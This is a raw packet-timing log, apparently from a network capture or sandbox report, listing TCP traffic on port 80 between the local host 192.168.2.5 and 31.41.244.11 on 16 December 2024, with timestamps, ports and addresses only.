Dec 16, 2024 09:01:10.491568089 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.491621971 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.491688013 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.491736889 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.493863106 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.493921995 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.493984938 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.494033098 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.496133089 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.496198893 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.496264935 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.496314049 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.498495102 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.498550892 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.498620033 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.498673916 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.500741005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.500806093 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.500864983 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.500910997 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.503066063 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.503114939 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.503135920 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.503182888 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.505376101 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.505426884 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.505479097 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.505525112 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.507651091 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.507725954 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.507750988 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.507800102 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.509955883 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.510020971 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.510077953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.510123014 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.512353897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.512429953 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.512475967 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.512523890 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.514683962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.514740944 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.514792919 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.514837980 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.516833067 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.516891956 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.516926050 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.516972065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.519134998 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.519195080 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.519282103 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.519325972 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.521410942 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.521467924 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.521471977 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.521511078 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.523952961 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.524005890 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.524060965 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.524112940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.526055098 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.526108027 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.526169062 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.526212931 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.528306007 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.528361082 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.528426886 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.528474092 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.530615091 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.530670881 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.530736923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.530782938 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.532896996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.532953024 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.605587006 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.605673075 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.605740070 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.605793953 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.606419086 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.606472015 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.606864929 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.606915951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.606959105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.607007027 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.608673096 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.608716965 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.608783960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.608834028 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.610459089 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.610512972 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.610616922 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.610663891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.612385035 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.612435102 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.612462044 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.612510920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.614165068 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.614217997 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.614284992 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.614331961 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.615886927 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.615923882 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.615956068 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.615973949 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.617615938 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.617666006 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.617733002 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.617782116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.619385004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.619440079 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.619498014 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.619546890 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.621248960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.621305943 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.621368885 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.621417046 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.622793913 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.622829914 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.622843981 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.622870922 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.624614000 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.624660969 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.624689102 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.624732971 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.626079082 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.626123905 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.626132965 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.626178980 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.627757072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.627805948 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.627989054 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.628036022 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.629345894 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.629409075 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.629514933 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.629564047 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.630963087 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.631011963 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.631061077 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.631103039 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.632580996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.632630110 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.632713079 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.632760048 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.634130001 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.634176970 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.634252071 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.634296894 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.635835886 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.635895967 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.635962963 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.636010885 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.637226105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.637280941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.637346983 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.637392998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.638807058 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.638853073 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.638861895 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.638906002 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.640340090 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.640391111 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.640439987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.640484095 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.641882896 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.641927958 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.641993999 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.642038107 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.643390894 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.643445969 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.643584013 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.643632889 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.644865990 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.644915104 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.644995928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.645041943 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.646347046 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.646395922 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.646461964 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.646507978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.647840977 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.647890091 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.647952080 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.647995949 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.649342060 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.649389029 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.649396896 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.649440050 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.650774956 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.650835991 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.650902987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.650950909 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.652230978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.652281046 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.652339935 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.652384043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.653691053 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.653740883 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.653888941 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.653933048 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.655236959 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.655284882 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.655364037 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.655405998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.656596899 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.656656027 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.656656981 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.656702995 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.657989025 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.658040047 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.658091068 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.658137083 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.659427881 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.659476042 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.659542084 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.659579992 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.660840988 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.660896063 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.660976887 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.661022902 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.662358046 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.662405968 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.662487030 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.662530899 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.663718939 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.663767099 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.663846970 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.663896084 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.665138960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.665186882 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.665254116 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.665297985 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.666610956 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.666649103 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.666666031 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.666691065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.668016911 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.668065071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.668088913 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.668133020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.669501066 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.669544935 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.669593096 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.669636011 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.670838118 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.670882940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.670953035 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.670994043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.672377110 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.672416925 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.672483921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.672528028 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.673918962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.673962116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.674042940 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.674088001 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.675692081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.675743103 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.675796986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.675844908 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.677370071 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.677418947 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.677484989 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.677534103 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.678644896 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.678679943 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.678702116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.678718090 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.679821968 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.679867029 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.679877043 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.679922104 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.680907965 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.680964947 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.681029081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.681077957 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.682377100 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.682439089 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.682506084 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.682549953 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.683746099 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.683790922 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.683856964 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.683901072 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.685193062 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.685231924 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.685272932 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.685316086 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.797802925 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.797868013 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.797869921 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.797916889 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.798330069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.798382998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.798418999 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.798470974 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.799376965 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.799418926 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.799484968 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.799532890 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.800453901 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.800508022 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.800534010 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.800585032 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.801486969 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.801537991 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.801613092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.801659107 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.802544117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.802671909 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.802705050 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.802727938 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.803581953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.803632021 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.803704977 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.803746939 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.804627895 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.804685116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.804707050 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.804750919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.805627108 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.805668116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.805747032 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.805790901 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.806632042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.806677103 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.806726933 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.806771994 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.807642937 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.807688951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.807760954 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.807806969 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.808645010 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.808692932 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.808744907 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.808789015 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.809628963 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.809679985 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.809751987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.809804916 CET	49817	80	192.168.2.5	31.41.244.11
